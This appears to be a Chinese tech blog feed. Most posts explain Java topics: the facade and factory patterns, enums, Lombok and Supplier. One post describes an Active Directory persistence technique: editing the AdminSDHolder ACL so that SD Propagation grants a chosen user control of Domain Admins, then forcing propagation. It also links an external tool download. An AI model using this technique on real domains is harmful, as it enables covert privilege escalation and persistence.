<span class="w"> </span><span class="n">goHome</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="n">GO_TO_MINE</span><span class="p">:</span>
<span class="w"> </span><span class="n">goToMine</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="n">WORK</span><span class="p">:</span>
<span class="w"> </span><span class="n">work</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">default</span><span class="p">:</span>
<span class="w"> </span><span class="n">LOGGER</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">"Undefined action"</span><span class="p">);</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="cm">/**</span>
<span class="cm"> * Perform actions.</span>
<span class="cm"> */</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">action</span><span class="p">(</span><span class="n">Action</span><span class="p">...</span><span class="w"> </span><span class="n">actions</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Arrays</span><span class="p">.</span><span class="na">stream</span><span class="p">(</span><span class="n">actions</span><span class="p">).</span><span class="na">forEach</span><span class="p">(</span><span class="k">this</span><span class="p">::</span><span class="n">action</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">abstract</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">work</span><span class="p">();</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">abstract</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">name</span><span class="p">();</span>
<span class="w"> </span><span class="kd">enum</span><span class="w"> </span><span class="n">Action</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">GO_TO_SLEEP</span><span class="p">,</span><span class="w"> </span><span class="n">WAKE_UP</span><span class="p">,</span><span class="w"> </span><span class="n">GO_HOME</span><span class="p">,</span><span class="w"> </span><span class="n">GO_TO_MINE</span><span class="p">,</span><span class="w"> </span><span class="n">WORK</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>注意这段代码:</p>
<div class="highlight"><pre><span></span><code><span class="n">Arrays</span><span class="p">.</span><span class="na">stream</span><span class="p">(</span><span class="n">actions</span><span class="p">).</span><span class="na">forEach</span><span class="p">(</span><span class="k">this</span><span class="p">::</span><span class="n">action</span><span class="p">);</span>
</code></pre></div>
<p>很明显,这段代码用到了昨天学习的<a href="/supplierjie-kou.html">函数式编程的思想</a></p>
<p>上面的代码相当于:</p>
<div class="highlight"><pre><span></span><code><span class="n">Arrays</span><span class="p">.</span><span class="na">stream</span><span class="p">(</span><span class="n">actions</span><span class="p">).</span><span class="na">forEach</span><span class="p">((</span><span class="n">action</span><span class="p">)</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">action</span><span class="p">(</span><span class="n">action</span><span class="p">));</span>
</code></pre></div>
<p>只不过是遍历方式简化了许多,再加上lambda表达式的简写,一眼看上去可能会不理解</p>
<p>定义完上面的矮人矿工抽象类之后,接着需要编写三个实体类:隧道挖掘工、矿工、运输工</p>
<p>每个实体类都会实现<code>work()</code>方法和<code>name()</code>方法,后者不重要,只是用来在演示的时候提供提示信息</p>
<p>不同的矿工拥有不同的<code>work()</code>实现,这些方法会在<code>DwarvenGoldmineFacade</code>类中被调用</p>
<p>这个设计模式其实还算比较好理解,就是复杂系统的内部实现对于用户是透明的,就像使用计算机,它只呈献给用户一个UI,但是具体内部实现原理是与用户隔绝的</p>工厂模式——factory2021-12-07T00:00:00+01:002021-12-07T00:00:00+01:0012138tag:None,2021-12-07:gong-han-mo-shi-factory.html<p>references:</p>
<p><a href="https://github.com/iluwatar/java-design-patterns/tree/master/factory">https://github.com/iluwatar/java-design-patterns/tree/master/factory</a></p>
<p>根据github上的代码,CoinType这个枚举类的代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.factory</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.util.function.Supplier</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">lombok.Getter</span><span class="p">;</span>
<span class="cm">/**</span>
<span class="cm"> * Enumeration for different types of coins.</span>
<span class="cm"> */</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="nd">@Getter</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">enum</span><span class="w"> </span><span class="n">CoinType</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">COPPER</span><span class="p">(</span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">),</span>
<span class="w"> </span><span class="n">GOLD</span><span class="p">(</span><span class="n">GoldCoin</span><span class="p">::</span><span class="k">new</span><span class="p">);</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>可以看 …</p><p>references:</p>
<p><a href="https://github.com/iluwatar/java-design-patterns/tree/master/factory">https://github.com/iluwatar/java-design-patterns/tree/master/factory</a></p>
<p>根据github上的代码,CoinType这个枚举类的代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.factory</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.util.function.Supplier</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">lombok.Getter</span><span class="p">;</span>
<span class="cm">/**</span>
<span class="cm"> * Enumeration for different types of coins.</span>
<span class="cm"> */</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="nd">@Getter</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">enum</span><span class="w"> </span><span class="n">CoinType</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">COPPER</span><span class="p">(</span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">),</span>
<span class="w"> </span><span class="n">GOLD</span><span class="p">(</span><span class="n">GoldCoin</span><span class="p">::</span><span class="k">new</span><span class="p">);</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>可以看到他这里使用了一个RequiredArgsConstructor注解,关于该注解的笔记,参考:</p>
<p><a href="/lombokku-de-requiredargsconstructorzhu-jie.html">RequiredArgsConstructor注解</a></p>
<p>这里有一个final修饰的字段<code>constructor</code>,如果我们手动进行该枚举类型的构造函数编写的话,代码应该如下:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.factory</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.util.function.Supplier</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">lombok.Getter</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">lombok.RequiredArgsConstructor</span><span class="p">;</span>
<span class="cm">/**</span>
<span class="cm"> * Enumeration for different types of coins.</span>
<span class="cm"> */</span>
<span class="nd">@Getter</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">enum</span><span class="w"> </span><span class="n">CoinType</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">COPPER</span><span class="p">(</span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">),</span>
<span class="w"> </span><span class="n">GOLD</span><span class="p">(</span><span class="n">GoldCoin</span><span class="p">::</span><span class="k">new</span><span class="p">);</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="w"> </span><span class="n">CoinType</span><span class="p">(</span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">){</span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">constructor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>上面的代码可以正常编译并运行</p>
<p>另外,Getter注解也可以删除,然后对代码作如下更改即可</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.factory</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.util.function.Supplier</span><span class="p">;</span>
<span class="cm">/**</span>
<span class="cm"> * Enumeration for different types of coins.</span>
<span class="cm"> */</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">enum</span><span class="w"> </span><span class="n">CoinType</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">COPPER</span><span class="p">(</span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">),</span>
<span class="w"> </span><span class="n">GOLD</span><span class="p">(</span><span class="n">GoldCoin</span><span class="p">::</span><span class="k">new</span><span class="p">);</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="w"> </span><span class="n">CoinType</span><span class="p">(</span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="n">constructor</span><span class="p">){</span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">constructor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">constructor</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">Coin</span><span class="o">></span><span class="w"> </span><span class="nf">getConstructor</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">constructor</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Getter注解就是为类自动生成getter方法</p>
<p>另外,还有一个令人疑惑的地方就是<code>Supplier</code>,相关笔记请参考:</p>
<p><a href="/supplierjie-kou.html">Supplier接口</a></p>
<p>如此一来,<code>CoinType</code>枚举类对象就拥有了一个<code>T get()</code>方法,即<code>Coin get()</code></p>
<p>根据传入的<code>CoinType</code>类型来返回不同的<code>Coin</code>接口实现类的实例</p>
<p>现在代码我们已经完全可以看懂了,工厂模式的中心思想就是根据传入的参数来返回不同的实例</p>
<p>让用户更加专注于对象的使用,而不必关心对象的创建</p>
<p>而这其中,<code>Coin</code>接口的关键作用就在于它充当了<code>Supplier<T></code>中的泛型T,因为两个实现类<code>CopperCoin</code>和<code>GoldCoin</code>都实现了<code>Coin</code>类,这样才能使用<code>T get()</code>方法返回不同的实例</p>
<p>而如果没有<code>Coin</code>接口,那么就需要根据不同的实例类型来创建相同数量的方法,这也正是工厂模式的优点所在</p>
<p>当然,工厂模式并不一定非要接口,你也可以使用抽象类甚至实体类,只不过在真正的软件开发中,大都使用接口</p>
<p>以前也曾看过工厂模式的java代码,但是都远没有这个看起来那么的高级</p>
<p>他用到了枚举类型,函数式编程、注解等特性,可以说是非常优美的代码了</p>java枚举 enum2021-12-07T00:00:00+01:002021-12-07T00:00:00+01:0012138tag:None,2021-12-07:javamei-ju-enum.html<p>java中的枚举类有一个隐含的方法:values()</p>
<p>该方法会返回枚举类型的所有值</p>
<p>根据java官方文档的介绍,enum关键字的实现,编译器会在enum创建的时候自动加入几个特殊的方法</p>
<p>其中就有静态方法values()</p>
<p>另外枚举类还自动继承了<code>java.lang.Enum</code>这 …</p><p>java中的枚举类有一个隐含的方法:values()</p>
<p>该方法会返回枚举类型的所有值</p>
<p>根据java官方文档的介绍,enum关键字的实现,编译器会在enum创建的时候自动加入几个特殊的方法</p>
<p>其中就有静态方法values()</p>
<p>另外枚举类还自动继承了<code>java.lang.Enum</code>这个类,又因为java不支持多继承,因此枚举类型无法继承任何类</p>Lombok库的@RequiredArgsConstructor注解2021-12-07T00:00:00+01:002021-12-07T00:00:00+01:0012138tag:None,2021-12-07:lombokku-de-requiredargsconstructorzhu-jie.html<p>该注解会生成带有参数的构造函数</p>
<p>这里的参数指的是所有final修饰的未初始化的字段以及使用了@NonNull注解修饰的字段</p>
<p>生成的构造函数,默认权限修饰符为public</p>
<p>下面为带注解的 …</p><p>该注解会生成带有参数的构造函数</p>
<p>这里的参数指的是所有final修饰的未初始化的字段以及使用了@NonNull注解修饰的字段</p>
<p>生成的构造函数,默认权限修饰符为public</p>
<p>下面为带注解的代码与不带注解的代码对比</p>
<div class="highlight"><pre><span></span><code><span class="nd">@RequiredArgsConstructor</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">RequiredArgsDemo1</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">Long</span><span class="w"> </span><span class="n">id</span><span class="p">;</span>
<span class="w"> </span><span class="nd">@NonNull</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">username</span><span class="p">;</span>
<span class="w"> </span><span class="nd">@NonNull</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">email</span><span class="p">;</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="kt">boolean</span><span class="w"> </span><span class="n">status</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">RequiredArgsDemo1</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">Long</span><span class="w"> </span><span class="n">id</span><span class="p">;</span>
<span class="w"> </span><span class="nd">@NonNull</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">username</span><span class="p">;</span>
<span class="w"> </span><span class="nd">@NonNull</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">email</span><span class="p">;</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="kt">boolean</span><span class="w"> </span><span class="n">status</span><span class="p">;</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="nf">RequiredArgsDemo1</span><span class="p">(</span>
<span class="w"> </span><span class="nd">@NonNull</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">username</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="nd">@NonNull</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">email</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="kt">boolean</span><span class="w"> </span><span class="n">status</span>
<span class="w"> </span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">username</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">NullPointerException</span><span class="p">(</span><span class="s">"username is marked non-null but is null"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">email</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">NullPointerException</span><span class="p">(</span><span class="s">"email is marked non-null but is null"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">username</span><span class="p">;</span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">email</span><span class="p">;</span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">status</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>可以看到,使用了注解的代码相对于原始代码要简洁很多,无需我们再手动编写含参构造函数</p>Supplier接口2021-12-07T00:00:00+01:002021-12-07T00:00:00+01:0012138tag:None,2021-12-07:supplierjie-kou.html<h1></h1>
<p>该接口位于<code>java.util.function</code>包,在java 8引入,主要用于函数式编程</p>
<p>也就是说,被该接口修饰的变量就是一个方法,该方法不接收任何参数 …</p><h1></h1>
<p>该接口位于<code>java.util.function</code>包,在java 8引入,主要用于函数式编程</p>
<p>也就是说,被该接口修饰的变量就是一个方法,该方法不接收任何参数,但是会返回一个<code>Supplier<T></code>所指定的泛型T</p>
<p>看下面的代码示例:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">java.util.function.Supplier</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">CopperCoin</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">DESCRIPTION</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"This is a copper coin."</span><span class="p">;</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">getDescription</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">DESCRIPTION</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">Main</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">args</span><span class="o">[]</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Supplier</span><span class="o"><</span><span class="n">CopperCoin</span><span class="o">></span><span class="w"> </span><span class="n">randomValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">;</span>
<span class="w"> </span><span class="n">System</span><span class="p">.</span><span class="na">out</span><span class="p">.</span><span class="na">println</span><span class="p">(</span><span class="n">randomValue</span><span class="p">.</span><span class="na">get</span><span class="p">().</span><span class="na">getDescription</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>注意看这一行:</p>
<div class="highlight"><pre><span></span><code><span class="n">Supplier</span><span class="o"><</span><span class="n">CopperCoin</span><span class="o">></span><span class="w"> </span><span class="n">randomValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CopperCoin</span><span class="p">::</span><span class="k">new</span><span class="p">;</span>
</code></pre></div>
<p>正常来讲呢,应该是一个lambda表达式的写法:</p>
<div class="highlight"><pre><span></span><code><span class="n">Supplier</span><span class="o"><</span><span class="n">CopperCoin</span><span class="o">></span><span class="w"> </span><span class="n">randomValue</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">CopperCoin</span><span class="p">());</span>
</code></pre></div>
<p><code>CopperCoin::new</code>是在java 8中引入的一个特性,可以让你的lambda表达式变得更加简洁</p>
<p>编译器会自动为这种形式的代码生成接口实现代码</p>
<p>在本例中,实现的是<code>Supplier</code>接口的<code>T get()</code>方法</p>AdminSDHolder2021-10-21T00:00:00+02:002021-10-21T00:00:00+02:0012138tag:None,2021-10-21:adminsdholder.html<p>references:</p>
<ul>
<li><a href="https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/">https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/</a></li>
<li><a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/">https://cbtgeeks.com/2016/06/02/what-is-rootdse/</a></li>
<li><a href="https://adsecurity.org/?p=1906">https://adsecurity.org/?p=1906</a></li>
<li><a href="https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx">https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx</a></li>
<li><a href="https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN</a></li>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6">https://docs.microsoft.com/en-us/openspecs/windows_protocols …</a></li></ul><p>references:</p>
<ul>
<li><a href="https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/">https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/</a></li>
<li><a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/">https://cbtgeeks.com/2016/06/02/what-is-rootdse/</a></li>
<li><a href="https://adsecurity.org/?p=1906">https://adsecurity.org/?p=1906</a></li>
<li><a href="https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx">https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx</a></li>
<li><a href="https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN</a></li>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6</a></li>
<li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/ddc8da4a-6ac8-4193-b51c-205cebbf483b">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/ddc8da4a-6ac8-4193-b51c-205cebbf483b</a></li>
<li><a href="https://itfordummies.net/2017/10/02/invoke-active-directory-sdprop-powershell/">https://itfordummies.net/2017/10/02/invoke-active-directory-sdprop-powershell/</a></li>
</ul>
<h1>前言</h1>
<p>本文介绍一种Windows Active Directory持久化方式,这个手法很早以前就有了,在此记录一下</p>
<h1>AdminSDHolder</h1>
<p><code>AdminSDHolder</code>是AD中的一个对象,它位于<code>cn=AdminSDHolder,cn=System,DC=domain,dc=name</code></p>
<p><img alt="image-20211021215257762" src="AdminSDHolder.assets/image-20211021215257762.png"></p>
<p><strong>该对象的作用是保证受保护对象的ACL不会被篡改</strong></p>
<p>这个所谓受保护的对象,是硬编码到二进制文件中的,也就是说,当你的AD域创建完成后,受保护的对象就确定下来了</p>
<p>下面有一张表格描述了微软的各个版本的Server中默认的受保护对象(用户组和账户)</p>
<p><img alt="1634882959755" src="AdminSDHolder.assets/1634882959755.png"></p>
<p>那么它是如何保护这些对象的ACL不被篡改呢?</p>
<h2>SD Propagation(安全描述符传播)</h2>
<p>biaojigaoliang1持有<strong>PDC FSMO角色的DC</strong>biaojigaoliang2默认情况下每隔1小时会执行一次<code>SD Propagation</code>任务,此任务的大致行为就是将所有受保护对象的ACL和AdminSDHolder的ACL进行对比,如果两者有差异,就是用AdminSDHolder的ACL覆盖掉受保护对象的ACL</p>
<p>下图为AdminSDHolder默认的ACL:</p>
<p><img alt="1634883844700" src="AdminSDHolder.assets/1634883844700.png"></p>
<p>Domain Admins组作为受保护的对象,其ACL应该和AdminSDHolder保持一致</p>
<p><img alt="1634883970687" src="AdminSDHolder.assets/1634883970687.png"></p>
<p>我们对AdminSDHolder的ACL稍微作一下修改以便更直观地理解AdminSDHolder的工作机制</p>
<p>我们向AdminSDHolder的ACL中添加一个用户,并赋予它<code>特殊权限</code></p>
<p><img alt="1634884131573" src="AdminSDHolder.assets/1634884131573.png"></p>
<p>等待PDC的下一次<code>SD Propagation</code>任务完成之后,我们再观察一下<code>Domain Admins</code>用户组的ACL是否发生了改变</p>
<p><img alt="1634884281305" src="AdminSDHolder.assets/1634884281305.png"></p>
<p>可以看到,<code>sdtest</code>用户此时已经拥有了对<code>Domain Admins</code>的特殊权限</p>
<h1>利用</h1>
<p>通过上面的解释,我们可以通过修改<code>AdminSDHolder</code>的ACL来达到控制<code>Domain Admins</code>用户组的目的</p>
<p>biaojigaoliang1上面我们只赋予了<code>sdtest</code>用户<code>特殊权限</code>,如果我们给该用户赋予<code>写入</code>权限,那么等下一次<code>SD Propagation</code>完成之后,<code>sdtest</code>用户将拥有修改<code>Domain Admins</code>组成员的权限biaojigaoliang2</p>
<p><img alt="1634884662582" src="AdminSDHolder.assets/1634884662582.png"></p>
<p><img alt="1634884743532" src="AdminSDHolder.assets/1634884743532.png"></p>
<p><img alt="1634884702145" src="AdminSDHolder.assets/1634884702145.png"></p>
<p>但是默认一个小时才进行<code>ACL</code>的检查与覆盖,貌似有点太久了,有没有方法可以强制进行<code>SD Propagation</code>呢?</p>
<p>答案是肯定的</p>
<p>根据微软的官方文档,使用LDAP(<a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/">rootDSE</a>,DN为空)连接到持有PDC FSMO角色的DC上,然后修改<code>runProtectAdminGroupsTask</code>属性的值为1,即可触发<code>SD propagation</code></p>
<p><img alt="erftghj" src="AdminSDHolder.assets/erftghj.gif"></p>
<p>对于Windows 2008 R2及以上的版本,使用上图所示方法即可</p>
<p>根据文档,早于Windows 2008 R2的版本需要通过修改<code>fixupInheritance</code>属性来触发<code>SD propagation</code>,参考下图所示方法</p>
<p><img alt="1634888737789" src="AdminSDHolder.assets/1634888737789.png"></p>
<h1>后记</h1>
<p>上面提到的操作都是基于GUI的,最后肯定要武器化为命令行工具,这一部分的实现不方便放出来,XDM自行摸索吧,也不难</p>
<p>上面触发<code>SD Propagation</code>的工具,可以在<a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dfj%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">此处</a>下载</p>从创建GPO到FSMO再到Kerberos解密2021-09-30T00:00:00+02:002021-09-30T00:00:00+02:0012138tag:None,2021-09-30:cong-chuang-jian-gpodao-fsmozai-dao-kerberosjie-mi.html<p>国庆快乐!!!</p>
<p>references:</p>
<ul>
<li><a href="https://www.normanbauer.com/2016/03/30/how-to-purge-kerberos-tickets-of-the-system-account/">How to purge Kerberos tickets of the system account | NORMAN BAUER</a></li>
<li><a href="https://gitlab.com/wireshark/wireshark/-/wikis/Kerberos">Kerberos · Wiki · Wireshark Foundation / wireshark · GitLab</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass">ktpass | Microsoft Docs</a></li>
<li><a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/fsmo-roles">Active Directory Flexible Single Master Operation (FSMO) roles in Windows - Windows Server | Microsoft Docs</a></li>
</ul>
<h1>前言</h1>
<p>AD域内横向方式千千万,创建GPO算一个,但是这篇文 …</p><p>国庆快乐!!!</p>
<p>references:</p>
<ul>
<li><a href="https://www.normanbauer.com/2016/03/30/how-to-purge-kerberos-tickets-of-the-system-account/">How to purge Kerberos tickets of the system account | NORMAN BAUER</a></li>
<li><a href="https://gitlab.com/wireshark/wireshark/-/wikis/Kerberos">Kerberos · Wiki · Wireshark Foundation / wireshark · GitLab</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ktpass">ktpass | Microsoft Docs</a></li>
<li><a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/fsmo-roles">Active Directory Flexible Single Master Operation (FSMO) roles in Windows - Windows Server | Microsoft Docs</a></li>
</ul>
<h1>前言</h1>
<p>AD域内横向方式千千万,创建GPO算一个,但是这篇文章的主题并不是如何创建GPO,而是由创建GPO所引发的一系列问题</p>
<h1>正文</h1>
